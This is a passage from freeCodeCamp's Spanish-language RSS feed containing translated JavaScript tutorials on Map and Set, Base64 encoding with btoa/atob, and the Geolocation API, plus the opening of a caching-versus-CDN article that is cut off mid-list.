console.log(myMap); // Map(2) { 'name' =&gt; 'Jack', 'age' =&gt; 20 }</code></pre><figcaption>Crear un Map desde un objeto</figcaption></figure><!--kg-card-begin: html--><h3 id="iterar-datos-objeto-map">Iterar sobre datos del objeto Map</h3><!--kg-card-end: html--><p>Para iterar sobre los datos de un objeto <code>Map</code>, puedes usar el método <code>forEach()</code> o el bucle <code>for..of</code>:</p><pre><code class="language-js">const myMap = new Map([
  [1, 'Jack'],
  [2, 'Jill'],
  ['animal', 'Elefante'],
]);

// iterar usando el método forEach()
myMap.forEach((value, key) =&gt; {
  console.log(`${key}: ${value}`);
});

// o usando el bucle for .. of 

for (const [key, value] of myMap) {
  console.log(`${key}: ${value}`);
}</code></pre><p>Ambos métodos proveen la misma salida:</p><pre><code class="language-txt">1: Jack
2: Jill
animal: Elefante</code></pre><!--kg-card-begin: html--><h3 id="cuando-usar-objeto-map">Cuándo usar el Objeto Map</h3><!--kg-card-end: html--><p>Puedes imaginarte a un objeto <code>Map</code> como un versión actualizada del Objeto regular. Puede usar cualquier tipo de dato como el valor clave, mientras que un objeto solamente puede usar los valores cadenas como claves.</p><p>Por debajo, el objeto <code>Map</code> se desempeña mejor cuando necesitas agregar y quitar claves, así que podrías considerar usarlo cuando tus datos cambia frecuentemente.</p><p>También, el objeto Map tiene muchos métodos útiles para manipulación de datos, tales como <code>has()</code> para ver si el Map contiene una clave específica, <code>keys()</code> para obtener todas las claves definidos en el <code>Map</code>, <code>values</code> para obtener todos los valores, y <code>entries()</code> para obtener todos los pares clave/valor.</p><p>Pero si solamente quieres crear un objeto sin manipulación adicional, entonces no necesitas usar el objeto <code>Map</code>.</p><p>Un ejemplo es cuando envías una solicitud de red usando el método <code>fetch()</code>. Crearías un objeto y lo convierte a una cadena JSON, así que usando un objeto <code>Map</code> no te dará ningún beneficio.</p><!--kg-card-begin: html--><h2 id="objeto-set-explicado">El Objeto Set explicado</h2><!--kg-card-end: html--><p>El objeto <code>Set</code> te permite almacenar una colección de elementos, así como un Arreglo. Las diferencias entre un <code>Set</code> y un arreglo son:</p><ul><li>Un <code>Set</code> requieres que todos los elementos sean únicos</li><li>Un <code>Set</code> tiene pocos métodos para manipulación de datos</li></ul><!--kg-card-begin: html--><h3 id="como-crear-objeto-set">Cómo crear un Objeto Set</h3><!--kg-card-end: html--><p>Para crear un nuevo objeto <code>Set</code>, necesitas llamar al constructor <code>Set()</code> de la siguiente manera:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const mySet = new Set();</code></pre><figcaption>Creando un nuevo objeto Set</figcaption></figure><p>El código de arriba creará un nuevo set vacío.</p><!--kg-card-begin: html--><h3 id="metodos-propiedades-objeto-set">Métodos y Propiedades del Objeto Set</h3><!--kg-card-end: html--><p>Un objeto <code>Set</code> tiene los siguientes métodos y propiedades:</p><ul><li><code>add(value)</code> – Agrega un valor a un Set</li><li><code>has(value)</code> – Verifica si un Set contiene una valor específico</li><li><code>delete(value)</code> – Quita un valor específico desde un Set</li><li><code>clear()</code> – Quita todos los elementos de un Set</li><li><code>keys()</code> – Devuelve todos las claves en un Set</li><li><code>values()</code> – Devuelve todos los valores en un Set</li><li><code>entries()</code> – Devuelve todos los valores en un Set como un arreglo <code>[key, value]</code></li><li><code>size</code> – Devuelve el número de elementos en un Set</li></ul><p>Fíjate que los métodos <code>keys()</code> y <code>values()</code> en un objeto Set regresa la misma salida.</p><p>También está el método <code>entries()</code> que regresa un arreglo de la siguiente forma:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const mySet = new Set(['Jack', 'Jill', 'John']);

console.log(mySet.entries());</code></pre><figcaption>Ejecutando el método entries() de Set</figcaption></figure><p>Salida:</p><figure class="kg-card kg-code-card"><pre><code class="language-txt">[Set Entries] {
  [ 'Jack', 'Jack' ],
  [ 'Jill', 'Jill' ],
  [ 'John', 'John' ]
}</code></pre><figcaption>Salida del método entries() de Set</figcaption></figure><p>Fíjate cómo los valores están repetidos una vez que cada arreglo de arriba. El método <code>entries()</code> es creado para hacer que <code>Set</code> similar al objeto <code>Map</code>, pero probablemente no lo necesites.</p><p>Hay métodos extras que puedes usar para interactuar con otro objeto <code>Set</code>. Los discutiremos en la próxima sección.</p><p>Para agregar un elemento al objeto Set, puedes usar el método agregar:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const mySet = new Set();

mySet.add(1);
mySet.add(2);
mySet.add(3);

console.log(mySet); // [1, 2, 3]</code></pre><figcaption>Agregando nuevos elementos al objeto Set</figcaption></figure><p>Para obtener todos los valores almacenados en un <code>Set</code>, llama al método <code>values()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">mySet.values(); // [Set Iterator] { 'Jack', 'Jill', 'John' }</code></pre><figcaption>Obtener todos los valores de un objeto Set</figcaption></figure><p>Para verificar si el <code>Set</code> tiene un valor específico, usa el método <code>has()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">mySet.has('Jack'); // true

mySet.has('Michael'); // false</code></pre><figcaption>Verifica si un Set tiene un valor específico</figcaption></figure><p>Para quitar un valor único, llama al método <code>delete()</code>. Para quitar todos los valores, usa el método <code>clear()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">mySet.delete('Jill');

mySet.clear();</code></pre><figcaption>Elimina un valor único o limpia todo un Set</figcaption></figure><!--kg-card-begin: html--><h3 id="metodos-composicion-set">Métodos de Composición de Set</h3><!--kg-card-end: html--><p>Aparte de los métodos regulares de arriba, <code>Set</code> también tiene métodos de composición que puedes usar para realizar varias operaciones de teoría de set tales como diferencia, unión, e intersección.</p><p>La siguiente tabla es desde la <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set#set_composition">documentación de Set de MDN</a> (la tabla disponible sólo en inglés):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2024/02/set-composition-methods.png" class="kg-image" alt="set-composition-methods" width="600" height="400" loading="lazy"><figcaption>Una lista de Métodos de Composición de Set</figcaption></figure><p>Por ejemplo, puedes obtener un conjunto que contiene las diferencias entre otros dos conjuntos de la siguiente forma:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const setA = new Set([1, 2, 3, 4, 5]);

const setB = new Set([4, 5, 6, 7, 8]);

const diffsA = setA.difference(setB); // Set(3) {1, 2, 3}
const diffsB = setB.difference(setA); // Set(3) {6, 7, 8}
</code></pre><figcaption>Ejemplo de usar el método difference() de Set</figcaption></figure><p>Aquí, el <code>setA.difference(setB)</code> regresa un <code>Set</code> que contiene valores únicos al objeto <code>setA</code>.</p><p>Los valores opuestos son devueltos cuando ejecutas el método <code>setB.difference(setA)</code>.</p><p>Fíjate que estos métodos son nuevas adiciones al estándar de JavaScript, y al momento de escribir este artículo, solamente Safari 17 y Chrome 122 soporta estos métodos.</p><blockquote><strong>Actualización</strong>: los <a href="https://web.dev/blog/set-methods?hl=en">nuevos métodos agregados al Objeto Set</a> están disponibles en todos los navegadores principales desde el 11 de Junio del año 2024.</blockquote><p>Más probable, estos métodos serán incluidos en Node.js pronto.</p><!--kg-card-begin: html--><h3 id="iterar-objeto-set">Iterar sobre un Objeto Set</h3><!--kg-card-end: html--><p>Para iterar sobre un objeto <code>Set</code>, puedes usar el método <code>forEach()</code> o el bucle <code>for..of</code>:</p><pre><code class="language-js">const mySet = new Set(['Jack', 'Jill', 'John']);

// iterar usando el método forEach()
mySet.forEach(value =&gt; {
  console.log(value);
});

// o usando el bucle for .. of

for (const value of mySet) {
  console.log(value);
}</code></pre><p>Salida:</p><pre><code class="language-txt">Jack
Jill
John</code></pre><!--kg-card-begin: html--><h3 id="cuando-usar-objeto-set">Cuándo usar el Objeto Set</h3><!--kg-card-end: html--><p>Puedes imaginarte del objeto <code>Set</code> como la versión alternativa del Arreglo regular.</p><p>Como un objeto <code>Set</code> ignora valores duplicados, puedes usar este objeto para eliminar duplicados de un Arreglo, luego vuelves a convertir un objeto <code>Set</code> devuelta a un Arreglo:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const myArray = [1, 1, 2, 2, 3, 3];

const uniqueArray = [...new Set(myArray)];

console.log(uniqueArray); // [ 1, 2, 3 ]</code></pre><figcaption>Creando un arreglo único con la ayuda de Set</figcaption></figure><p>Otra razón por que la que quisieras usar un <code>Set</code> es cuando necesites componer múltiples conjuntos de objetos usando los métodos de composición, tales como <code>union()</code> y <code>difference()</code>. Estos métodos no están disponibles en un Arreglo.</p><!--kg-card-begin: html--><h3 id="conclusion">Conclusión</h3><!--kg-card-end: html--><p>En este artículo, has aprendido cómo funcionan los objetos Map y Set y cuándo usarlos en tu código.</p><p>Si disfrutaste este artículo y quieres tomar tus habilidades de JavaScript al siguiente nivel, te recomiendo que mires mi nuevo libro <em><em><em><em><em><em><em><em>Beginning Modern JavaScript</em></em></em></em> </em></em></em></em><a href="https://codewithnathan.com/beginning-modern-javascript">aquí</a>.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2024/01/beginning-js-cover.png" class="kg-image" alt="beginning-js-cover" width="600" height="400" loading="lazy"></figure><p>El libro está diseñado para que sea fácil para los principiantes y accesible para cualquier que busca aprender JavaScript. Provee una guía amena de paso a paso que te ayudará a entender cómo usar JavaScript para crear una aplicación web dinámica.</p><p>Esta es mi promesa: <em>Realmente sentirás que comprendes lo que estás haciendo con JavaScript</em>.</p><p>¡Nos vemos luego!</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo codificar y decodificar HTML Base64 usando JavaScript: Ejemplo de codificación en JS ]]>
                </title>
                <description>
                    <![CDATA[ Cuando construyes una aplicación o escribes un programa, podrías necesitar codificar o decodificar con HTML Base64 en JavaScript. Esto es posible gracias a las dos funciones auxiliares Base64 que son parte de la especificación de HTML y están soportados por todos los navegadores modernos. En este artículo, aprenderás sobre Base64 ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-codificar-y-decodificar-html-base64-usando-javascript-ejemplo-de-codificacion-en-js/</link>
                <guid isPermaLink="false">66853f33e96bc003fb5d3a3e</guid>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 16 Jul 2024 13:39:58 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/07/cover-template-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/encode-decode-html-base64-using-javascript/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How to Encode and Decode HTML Base64 using JavaScript – JS Encoding Example</a>
      </p><p>Cuando construyes una aplicación o escribes un programa, podrías necesitar codificar o decodificar con HTML Base64 en JavaScript.</p><p>Esto es posible gracias a las dos funciones auxiliares Base64 que son parte de la especificación de HTML y están soportados por todos los navegadores modernos.</p><p>En este artículo, aprenderás sobre Base64 y cómo funciona para convertir datos binarios, cadenas regulares, y un montón más sobre texto ASCII.</p><h2 id="-qu-es-base64"><strong>¿Qué es Base64?</strong></h2><p><a href="https://es.wikipedia.org/wiki/Base64">Base64</a> es un grupo de esquemas de codificación de binario a texto que representa los datos binarios en formato de cadena ASCII. Es usado comúnmente para codificar datos que necesitan ser almacenados o transmitidos de una forma que puede ser representado directamente como texto.</p><p>La <strong>codificación Base64</strong> funciona al mapear datos binarios a caracteres 64 desde el conjunto de caracteres ASCII. Los caracteres 64 usados en codificación Base64 son: <code>A-Z</code>, <code>a-z</code>, <code>0-9</code>, <code>+</code>, y <code>/</code>.</p><p>El proceso de codificación toma 3 bytes de datos binarios y los mapea a 4 caracteres desde el conjunto de arriba, de tal forma que un solo carácter representa cada 6 bits de datos binarios. El resultado es una cadena de caracteres ASCII que puede ser transmitido o almacenado como texto.</p><p>La <strong>decodificación Base64</strong> es el proceso inverso de codificación. Toma una cadena codificada en Base64 y mapea cada carácter a su representación binario de 6-bits. Los datos binarios resultantes es una reconstrucción de los datos binarios originales codificados a Base64.</p><h2 id="c-mo-codificar-y-decodificar-html-base64-usando-javascript"><strong>Cómo codificar y decodificar HTML Base64 usando JavaScript</strong></h2><p>Para codificar y decodificar en JavaScript, usarás las funciones <code>btoa()</code> y <code>atob()</code> de JavaScript que están disponibles y soportados por los navegadores web.</p><p>Estas funciones auxiliares de JavaScript llevan nombres de comandos viejos de Unix para convertir <em>binario</em> a <em>ASCII</em> (<strong>btoa</strong>) y <em>ASCII</em> a <em>binario</em> (<strong>atob</strong>).</p><p>Puedes codificar una cadena a base64 en JavaScript usando la función <code>btoa()</code> y decodificar una cadena base64 usando la función <code>atob()</code>. Por ejemplo, si tienes una cadena almacenada en una variable, como se ve abajo, puedes primero codificarlo a Base64:</p><pre><code class="language-js">let miCadena = "Bienvenido a freeCodeCamp!";
let valorCodificado = btoa(miCadena);
console.log(valorCodificado); // V2VsY29tZSB0byBmcmVlQ29kZUNhbXAh
</code></pre><p>También puedes decodificar el <code>valorCodificado</code> de vuelta a su forma original usando la función <code>atob()</code>. Esta función toma el valor codificado y lo decodifica desde Base64:</p><pre><code class="language-js">let miCadena = "Bienvenido a freeCodeCamp!";
let valorCodificado = btoa(miCadena);
let valorDecodificado = atob(valorCodificado);
console.log(valorDecodificado); // Bienvenido a freeCodeCamp!
</code></pre><p>Ahora sabes cómo codificar y decodificar Base64 en JavaScript.</p><h2 id="m-s-ejemplos-de-codificaci-n-en-javascript"><strong>Más ejemplos de Codificación en JavaScript</strong></h2><p>También puedes codificar datos binarios a texto ASCII codificado en Base64 en JavaScript usando la función <code>btoa()</code>:</p><pre><code class="language-js">let binaryData = new Uint8Array([72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]);
let stringValue = String.fromCharCode.apply(null, binaryData);
console.log(stringValue); // "Hello World"

let encodedValue = btoa(stringValue);
console.log(encodedValue); // SGVsbG8gV29ybGQ=
</code></pre><p>Arriba, primero convertiste los valores <code>Unicode</code> a caracteres y luego codificaste la cadena.</p><p>También puedes decodificar el texto ASCII codificado en Base64 a datos binarios en JavaScript usando la función <code>atob()</code>:</p><pre><code class="language-js">let encodedValue = "SGVsbG8gV29ybGQ=";
let binaryData = new Uint8Array(atob(encodedValue).split("").map(function (c) {
    return c.charCodeAt(0);
}));
console.log(binaryData); // Uint8Array [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
</code></pre><h2 id="-resumiendo-"><strong>¡Resumiendo!</strong></h2><p>En este artículo, has aprendido lo que significa Base64, cómo funciona, y cuándo codificar y decodificar en JavaScript.</p><p>Base64 no está destinado a ser el método de encriptación seguro, ni está destinado a ser un método de compresión, porque codificar una cadena a Base64 típicamente resulta en una salida 33% más larga.</p><p>La codificación Base64 es usado comúnmente en JavaScript para situaciones como:</p><ul><li>Almacenar y transmitir datos binarios como texto.</li><li>Encriptar datos donde los datos codificados se envían sobre un canal inseguro y decodificado en el otro fin. Sin embargo, no debería ser considerado como un método de encriptación seguro, ya que puede ser fácilmente decodificado.</li><li>La transferencia de datos entre sistemas con conjuntos de caracteres distintos.</li><li>Almacenar datos binarios en una base de datos.</li></ul><p>¡Gracias por leer y disfruta programando!</p><p>Puedes acceder cerca de 185 artículos míos <a href="https://joelolawanle.com/contents">visitando mi sitio web</a>. También puede usar el campo de búsqueda para ver si he escrito un artículo específico.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo usar la API Geolocation API en JavaScript: con ejemplos de código ]]>
                </title>
                <description>
                    <![CDATA[ La API Geolocation es una API estándar implementada en navegadores para recuperar la ubicación de las personas quienes están interactuando con una aplicación web. Esta API permite a los usuarios que envíen su ubicación a una aplicación web para permitir servicios relevantes, tales como buscar un restaurante o un hotel ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-usar-la-api-geolocation-api-en-javascript-con-ejemplos-de-codigo/</link>
                <guid isPermaLink="false">66834975e96bc003fb5d3904</guid>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web API ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Geolocation API ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Mon, 08 Jul 2024 18:37:44 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/07/js-geolocation-api-cover.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/how-to-use-the-javascript-geolocation-api/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How to Use the Geolocation API in JavaScript – with Code Examples</a>
      </p><p>La API Geolocation es una API estándar implementada en navegadores para recuperar la ubicación de las personas quienes están interactuando con una aplicación web.</p><p>Esta API permite a los usuarios que envíen su ubicación a una aplicación web para permitir servicios relevantes, tales como buscar un restaurante o un hotel cercano al usuario.</p><p>En este artículo, voy a mostrarte cómo se usa la API Geolocation con JavaScript y mostrar la ubicación actual del usuario usando una API de un mapa.</p><p>¡Comencemos!</p><h2 id="c-mo-acceder-a-la-api-geolocation"><strong>Cómo acceder a la API Geolocation</strong></h2><p>Los Navegadores implementan la API Geolocation en el objeto <code>navigator.geolocation</code>. Puedes verificar si el navegador que usas soporta esta API de esta forma:</p><pre><code class="language-js">if ('geolocation' in navigator) {
  console.log('Geolocation está disponible');
} else {
  console.log('Geolocation NO está disponible');
}
</code></pre><p>Si el navegador responde con 'Geolocation está disponible', entonces puedes usar los métodos del objeto <code>geolocation</code> para obtener los datos del usuario.</p><p>La API Geolocation solamente está disponible bajo un contexto de HTTPS seguro, pero los navegadores modernos como Chrome y Firefox permiten el acceso a esta API desde localhost para propósitos de desarrollo.</p><p>Hay dos métodos que puedes usar para obtener datos de usuario:</p><ul><li><code>getCurrentPosition()</code>: Regresa la posición actual del dispositivo.</li><li><code>watchPosition()</code>: Observa la posición del dispositivo continuamente hasta que el observador se detiene.</li></ul><p>Ambos métodos de arriba reciben 3 argumentos de esta forma:</p><ul><li><code>success</code>: una función callback para cuando se recuperan los datos de geolocalización (requerido).</li><li><code>error</code>: una función callback para cuando el método encuentra un error (opcional).</li><li><code>options</code>: un objeto definiendo parámetros extras cuando se ejecuta el método (opcional).</li></ul><p>Cuando a la API Geolocation se accede por primera vez, una solicitud de permiso aparecerá cerca de la barra de URL como se muestra abajo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2024/02/geolocation-permission.png" class="kg-image" alt="geolocation-permission" width="600" height="400" loading="lazy"><figcaption>Solicitando permiso para acceder a la Ubicación del Usuario</figcaption></figure><p>Podrías estar familiarizado con la ventanita emergente de arriba. Cuando eliges bloquear la solicitud, entonces la función callback <code>error</code> se ejecutará por la API.</p><p>De otra forma, el callback <code>success</code> será ejecutado.</p><h2 id="c-mo-obtener-la-posici-n-actual-del-usuario"><strong>Cómo obtener la posición actual del Usuario</strong></h2><p>Para obtener la posición actual del usuario, puedes llamar a la función <code>getCurrentPosition()</code> desde el objeto, <code>navigator.geolocation</code> como se muestra abajo:</p><pre><code class="language-js">function success(position) {
  console.log(position);
}

navigator.geolocation.getCurrentPosition(success);
</code></pre><p>El método <code>getCurrentPosition()</code> enviará el objeto <code>position</code> a la función <code>success()</code> de arriba.</p><p>El objeto <code>position</code> contiene las coordenadas de ubicación y las marcas de tiempo mostrando cuando se recuperó la ubicación. </p><p>Lo de abajo es un ejemplo del objeto <code>position</code>:</p><pre><code class="language-js">{
  coords: {
    latitude: 1.314,
    longitude: 103.84425
    altitude: null
  },
  timestamp: 1708674456885
}
</code></pre><p>Usando la información de latitud y longitud, puedes determinar con precisión la ubicación del usuario y proveer información y servicios relevantes.</p><p>Por ejemplo, veamos cómo puedes enviar una solicitud al sitio web <a href="https://www.openstreetmap.org/">OpenStreetMap</a> y determinar la ubicación actual del usuario usando los datos desde la API Geolocation.</p><p>OpenStreetMap es un proyecto de código abierto que provee un mapa geográfico gratuito de todo el planeta.</p><p>Necesitas crear un documento HTML con el siguiente contenido body:</p><pre><code class="language-html">&lt;body&gt;
  &lt;button id="getLocation"&gt;Obtener ubicación&lt;/button&gt;
  &lt;br&gt;
  &lt;a id="locationResult" target="_blank"&gt;&lt;/a&gt;
&lt;/body&gt;
</code></pre><p>Cuando el usuario hace clic en el botón <em>Obtener ubicación</em> de arriba, accederemos a la API Geolocation, recuperando la ubicación del usuario, y proveer un enlace para ver la ubicación del usuario en un mapa.</p><p>Luego, crea una etiqueta <code>&lt;script&gt;</code> antes de cerrar la etiqueta <code>&lt;/body&gt;</code> y escribe el siguiente código de JavaScript:</p><pre><code class="language-html">&lt;script&gt;
  const locationResult = document.querySelector('#locationResult');
  document.querySelector('#getLocation').addEventListener('click', () =&gt; {
    locationResult.textContent = 'Recuperando la Ubicacion del Usuario...'

    function success(position) {
      let { coords } = position;
      locationResult.textContent = 'Vea mi ubicacion en un mapa';
      locationResult.href = `https://www.openstreetmap.org?mlat=${coords.latitude}&amp;mlon=${coords.longitude}`;
    }

    navigator.geolocation.getCurrentPosition(success);
  });
&lt;/script&gt;
</code></pre><p>Cuando se hace clic al botón, ejecutaremos el método <code>getCurrentPosition()</code> y definimos el atributo <code>href</code> de la etiqueta <code>&lt;a&gt;</code> al sitio web OpenStreetMap, pasándole los datos <code>latitude</code> y <code>longitude</code> bajo la cadena de solicitud <code>mlat</code> y <code>mlong</code>.</p><p>Visitando el enlace, mostraría un mapa de la ubicación actual como se muestra abajo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2024/02/geolocation-getCurrentPosition.png" class="kg-image" alt="OpenStreetMap Using Geolocation API data" width="600" height="400" loading="lazy"><figcaption>El Sitio web OpenStreetMap determina los datos Latitud y Longitud</figcaption></figure><p>Y así es cómo obtienes la ubicación actual del usuario. Cómo procesar la información de ubicación depende de ti.</p><p>He creado un sitio web donde puedes probar esta funcionalidad en <a href="https://nathansebhastian.github.io/js-geolocation-api/">https://nathansebhastian.github.io/js-geolocation-api/</a>.</p><p>Ahora, aprendamos sobre el método <code>watchPosition()</code>.</p><h2 id="c-mo-observar-la-posici-n-del-usuario"><strong>Cómo observar la Posición del Usuario</strong></h2><p>El método <code>watchPosition()</code> continuará observando la posición del dispositivo cuando se llama. Ejecutará la función callback <code>success</code> cada vez que la ubicación del dispositivo cambie.</p><p>Puedes llamar al método como sigue:</p><pre><code class="language-js">function success(position) {
  const { coords } = position;
  console.log('Latitude data: ' + coords.latitude);
  console.log('Longitude data: ' + coords.longitude);
}

navigator.geolocation.watchPosition(success);
</code></pre><p>El método <code>watchPosition()</code> regresa un número ID que rastrea al observador. Si quieres hacer que el observador deje de enviar datos de ubicación, necesitas llamar al método <code>clearWatch()</code> y pasar el número ID:</p><pre><code class="language-js">function success(position) {
  const { coords } = position;
  console.log('Latitude data: ' + coords.latitude);
  console.log('Longitude data: ' + coords.longitude);
}

// Almacena el numero ID en una variable
const watcherID = navigator.geolocation.watchPosition(success);

// Detiene al observador
navigator.geolocation.clearWatch(watcherID);
</code></pre><p>Y eso es todo lo que hay que hacer al método <code>watchPosition()</code>.</p><h3 id="c-mo-agregar-el-objeto-opciones"><strong>Cómo agregar el objeto Opciones</strong></h3><p>Ahora, veamos al objeto opcional <code>options</code> que puedes pasar a los métodos <code>getCurrentPosition()</code> y <code>watchPosition()</code>.</p><p>El objeto <code>options</code> te permite personalizar el comportamiento de los métodos. Hay tres opciones que puedes poner:</p><ul><li><code>enableHighAccuracy</code>: un valor Booleano que instruye al método que provea una posición más precisa. Esto incrementará el consumo de energía. El valor predeterminado es <code>false</code>.</li><li><code>timeout</code>: un valor numérico que representa cuánto espera el método por una respuesta. El valor predeterminado es <code>Infinity</code>, lo que significa que el método esperará hasta que una ubicación esté disponible.</li><li><code>maximumAge</code>: un valor numérico que representa cuánto tiempo la API Geolocation puede enviar los datos de ubicación previos. El valor predeterminado es <code>0</code>, de esa forma la API siempre regresa la ubicación más reciente. Si se define <code>Infinity</code>, entonces la API siempre regresará el primer dato de ubicación recuperado.</li></ul><p>Puedes usar el objeto opciones cuando se llama a los métodos de <code>geolocation</code>.</p><p>Por ejemplo:</p><pre><code class="language-js">const options = {
  enableHighAccuracy: true, // permite alta precisión
  timeout: 300000, // espera 5 minutos
};

function success(position) {
  console.log(position);
}

function error(error) {
  console.log(error);
}

// Ejecuta el método getCurrentPosition() con opciones personalizables
navigator.geolocation.getCurrentPosition(
  success,
  error,
  options
);
</code></pre><p>En el código de arriba, el método <code>getCurrentPosition()</code> usará el modo de alta precisión, y esperará 5 minutos por una respuesta desde el dispositivo.</p><h2 id="resumen"><strong>Resumen</strong></h2><p>La API Geolocation es una API de JavaScript estándar que permite a una aplicación web acceder a los datos de ubicación del usuario.</p><p>Usando los datos de Geolocalización, puedes proveer servicios o contenido relevantes a la ubicación del usuario, tales como el transporte público o el hospital más cercano.</p><p>Si disfrutaste este artículo y quieres aprender más de mí, te recomiendo que mires mi nuevo libro <em><em><a href="https://codewithnathan.com/beginning-modern-javascript">Beginning Modern JavaScript</a></em></em>.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2024/01/beginning-js-cover.png" class="kg-image" alt="Beginning Modern JavaScript" width="600" height="400" loading="lazy"></figure><p>El libro está diseñado para que sea fácil para los principiantes y accesible para cualquiera que quiera aprender JavaScript. Provee una guía amable de paso a paso para ayudarte a entender cómo usar JavaScript para crear una aplicación web dinámica.</p><p>Esta es mi promesa: <em>Sentirás de verdad que entiendes lo que estás haciendo con JavaScript.</em></p><p>¡Nos vemos en otros artículos!</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ La caché vs redes de entrega de contenido (CDN): ¿Cuál es la diferencia? ]]>
                </title>
                <description>
                    <![CDATA[ En el mundo de la optimización de red, las Redes de Entrega de Contenido (CDNs en inglés) y la Caché juegan un rol vital para mejorar el rendimiento del sitio web y la experiencia de usuario. Y mientras que ambos apuntan en acelerar los tiempos de carga del sitio web, ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/la-cache-vs-redes-de-entrega-de-contenido-cdn-cual-es-la-diferencia/</link>
                <guid isPermaLink="false">6670a29eb6f94103d5aef6c1</guid>
                
                    <category>
                        <![CDATA[ caching ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Rendimiento ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Mon, 08 Jul 2024 18:18:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/06/Conducting-Research-Projects-Educational-Presentation-in-Pink-and-Yellow-Colorful-Line-Style-1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>En el mundo de la optimización de red, las Redes de Entrega de Contenido (CDNs en inglés) y la Caché juegan un rol vital para mejorar el rendimiento del sitio web y la experiencia de usuario.</p><p>Y mientras que ambos apuntan en acelerar los tiempos de carga del sitio web, tienen propósitos y mecanismos distintos.</p><p>En este tutorial, indagaremos en profundidad en los detalles de los CDNs y la Caché para entender sus similitudes, sus diferencias, y cómo contribuyen en mejorar la experiencia en línea.</p><h3 id="aqu-est-lo-que-cubriremos-"><strong>Aquí está lo que cubriremos:</strong></h3><ol><li><a href="#what-is-cache">¿Qué es la caché?</a></li><li><a href="#what-is-cdn">¿Qué es una red de entrega de contenido (CDN)?</a></li><li><a href="#cdn-cache-difference">Almacenamiento en Caché vs CDNs – ¿Cuál es la diferencia?</a></li><li><a href="#when-to-use-cache">Cuándo usar la Caché</a></li><li><a href="#when-to-use-cdns">Cuándo usar CDNs</a></li><li><a href="#combining-cache-cdns">Combinando la Caché y los CDNs</a></li><li><a href="#wrapping-up">Concluyendo</a></li></ol><!--kg-card-begin: html--><h2 id="what-is-caching">¿Qué es la caché?</h2><!--kg-card-end: html--><p>Imagina que eres un bibliotecario que maneja una biblioteca popular. Cada día, los lectores vienen a pedir el mismo conjunto de libros como "Think and Grow Rich" o "The Intelligent Investor".</p><p>Inicialmente, buscas estos libros desde sus estantes principales, lo cual lleva tiempo y esfuerzo. Pero pronto, notas un patrón: el mismo conjunto de libros son solicitados de forma repetida por distintos lectores. Entonces, ¿qué haces?</p><p>Decides crear una sección especial cerca de la entrada donde mantienes las copias de estos libros que son solicitados frecuentemente. Ahora, cuando los lectores vienen a pedirlos, no tienes que correr a los estantes principales siempre. Sino que, simplemente les entregas las copias desde la sección especial, ahorrando tiempo y haciendo que el proceso sea más eficiente.</p><p>Esta <strong>sección especial </strong>representa a la <strong>caché</strong>, almacenando libros que son accedidos con frecuencia para recuperarlos rápidamente.</p><p>La Caché es una técnica usada para almacenar copias de datos accedidos frecuentemente de forma temporal. Los datos en caché pueden ser desde páginas web e imágenes a resultados de una consulta a una Base de Datos. Cuando un usuario solicita contenido almacenado en caché, el servidor lo devuelve desde la caché en vez de generar uno nuevo, reduciendo de manera significativa los tiempos de respuesta.</p><p>Cuando un servidor web recibe una petición, puede seguir diferentes estrategias de caché para manejarlo eficientemente. Una estrategia prevalente es conocida como almacenamiento en caché de lectura:</p><ol><li><strong>Solicitud recibida</strong>: El servidor web obtiene una solicitud desde un cliente.</li><li><strong>Comprobar caché</strong>: Primero mira en el caché para ver si la respuesta a la solicitud ya está aquí.</li><li><strong>Golpe de caché (cache hit)</strong>: Si la respuesta está en el caché (<em>hit</em>), devuelve los datos al cliente enseguida.</li><li><strong>Falta/pérdida de caché (Cache 